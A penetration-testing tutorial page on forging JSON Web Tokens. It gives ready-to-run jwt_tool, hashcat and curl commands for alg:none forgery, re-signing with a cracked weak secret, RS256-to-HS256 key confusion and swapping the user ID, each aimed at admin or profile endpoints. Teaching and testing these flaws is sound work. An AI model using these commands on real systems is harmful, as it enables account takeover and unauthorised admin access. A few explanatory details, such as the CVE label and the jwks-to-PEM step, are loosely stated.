Skip to content
HackIndex logo

HackIndex

JWT Exploitation

5 min read Mar 30, 2026

JWT exploitation forges tokens with modified claims — elevated roles, different user IDs, or admin flags — by exploiting weaknesses identified in JWT vulnerability testing. The goal is accepting a forged token that grants higher access than the original.

None Algorithm Forgery

Create a token with alg:none and no signature. Modify the payload to escalate privileges before encoding:

┌──(kali㉿kali)-[~]
└─$ jwt_tool $TOKEN -X a -pc role -pv admin
[+] Tampered JWT: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.
Explain command
$TOKEN The JWT token to be tested or manipulated.
-X a Exploit mode: 'a' runs the alg:none attack.
-pc role Specifies the payload claim name to target (role).
-pv admin Sets the payload claim value to inject (admin).
┌──(kali㉿kali)-[~]
└─$ FORGED=$(jwt_tool $TOKEN -X a -pc role -pv admin 2>/dev/null | grep -oP 'eyJ[a-zA-Z0-9._-]+')
┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/api/admin -H "Authorization: Bearer $FORGED"
{"status":"ok","admin":true}
Explain command
$TOKEN Original JWT token used as input for forgery.
-X a Selects the 'alg:none' attack mode in jwt_tool.
-pc role Specifies the payload claim name to modify.
-pv admin Sets the payload claim value to 'admin'.
2>/dev/null Suppresses stderr output from jwt_tool.
-oP 'eyJ[a-zA-Z0-9._-]+' Extracts the forged JWT token using Perl regex.
-s Runs curl in silent mode, suppressing progress output.
-k Disables SSL/TLS certificate verification.
http://$TARGET_IP:$PORT/api/admin Target URL with dynamic host and port for the admin endpoint.
-H "Authorization: Bearer $FORGED" Sends the forged JWT as a Bearer token in the auth header.

Weak Secret — Resign with Cracked Key

After cracking the HMAC secret with hashcat, resign a modified token using the recovered key:

┌──(kali㉿kali)-[~]
└─$ hashcat -a 0 -m 16500 $TOKEN /usr/share/wordlists/rockyou.txt --show
eyJhbGci...:secret123
Explain command
-a 0 Sets attack mode to dictionary attack.
-m 16500 Sets hash type to JWT (JSON Web Token).
$TOKEN Placeholder for the target JWT hash to crack.
/usr/share/wordlists/rockyou.txt Specifies the wordlist file to use for the attack.
--show Displays previously cracked passwords from the potfile.
┌──(kali㉿kali)-[~]
└─$ jwt_tool $TOKEN -S hs256 -p 'secret123' -pc role -pv admin
[+] Tampered JWT signed with secret123
Explain command
$TOKEN The JWT token string to be processed and modified.
-S hs256 Sign the token using HMAC SHA-256 algorithm.
-p 'secret123' Specify the secret key used for HMAC signing.
-pc role Target the payload claim named 'role' for modification.
-pv admin Set the targeted payload claim value to 'admin'.
┌──(kali㉿kali)-[~]
└─$ FORGED=$(jwt_tool $TOKEN -S hs256 -p 'secret123' -pc role -pv admin 2>/dev/null | grep -oP 'eyJ[a-zA-Z0-9._-]+')
┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/api/admin -H "Authorization: Bearer $FORGED"
Explain command
$TOKEN Original JWT token used as input for forging.
-S hs256 Sign the token using HMAC-SHA256 algorithm.
-p 'secret123' Specify the secret key used for HMAC signing.
-pc role Specify the payload claim name to tamper with.
-pv admin Set the payload claim value to 'admin'.
2>/dev/null Suppress stderr output by redirecting to null.
-oP 'eyJ[a-zA-Z0-9._-]+' Perl-compatible regex to extract JWT token string from output.
-s Silent mode; suppresses progress and error messages.
-k Allow insecure TLS connections, skipping certificate validation.
$TARGET_IP:$PORT Target host IP and port for the HTTP request.
-H "Authorization: Bearer $FORGED" Send forged JWT as Bearer token in the Authorization header.

Algorithm Confusion — RS256 to HS256

When the server uses RS256 and the public key is accessible, sign an HS256 token using the public key as the HMAC secret:

┌──(kali㉿kali)-[~]
└─$ curl -sk https://$DOMAIN/.well-known/jwks.json > jwks.json
┌──(kali㉿kali)-[~]
└─$ jwt_tool $TOKEN -X k -pk public.pem -pc role -pv admin
Explain command
-s Silent mode; suppresses progress meter and error messages.
-k Allows insecure TLS connections by skipping certificate verification.
https://$DOMAIN/.well-known/jwks.json Target URL using variable $DOMAIN to fetch the JWKS public key set.
$TOKEN The JWT token to be tested or manipulated.
-X k Exploit mode: attempts CVE-2018-0114 key confusion (RS256 to HS256).
-pk public.pem Specifies the public PEM key file to use in the exploit.
-pc role Specifies the payload claim name to tamper with.
-pv admin Sets the target value for the specified payload claim.

Modify User ID Claim

When the token contains a user ID or sub claim, forge a token with the admin user's ID after discovering it through IDOR testing or user enumeration:

┌──(kali㉿kali)-[~]
└─$ jwt_tool $TOKEN -S hs256 -p 'secret123' -pc sub -pv 1
Explain command
$TOKEN The JWT token to be processed or attacked.
-S hs256 Sign the token using HMAC SHA-256 algorithm.
-p 'secret123' Secret key used for signing the token.
-pc sub Specifies the payload claim to tamper with.
-pv 1 Sets the new value for the specified payload claim.
┌──(kali㉿kali)-[~]
└─$ FORGED=$(jwt_tool $TOKEN -S hs256 -p 'secret123' -pc sub -pv 1 2>/dev/null | grep -oP 'eyJ[a-zA-Z0-9._-]+')
┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/api/v1/profile -H "Authorization: Bearer $FORGED" | python3 -m json.tool
Explain command
$TOKEN Input JWT token variable to be forged/modified.
-S hs256 Sign the token using HMAC SHA-256 algorithm.
-p 'secret123' Specify the secret key used for HS256 signing.
-pc sub Target the 'sub' claim in the JWT payload for modification.
-pv 1 Set the value of the targeted payload claim to '1'.
2>/dev/null Suppress stderr output by redirecting it to null.
grep -oP 'eyJ[a-zA-Z0-9._-]+' Extract only the JWT token string from jwt_tool output.
-s Silent mode; suppresses curl progress and error output.
-k Allow insecure TLS connections, skipping certificate verification.
http://$TARGET_IP:$PORT/api/v1/profile Target URL using variable host and port for the profile endpoint.
-H "Authorization: Bearer $FORGED" Send the forged JWT as a Bearer token in the Authorization header.
-m json.tool Pretty-print the JSON response using Python's built-in json module.

References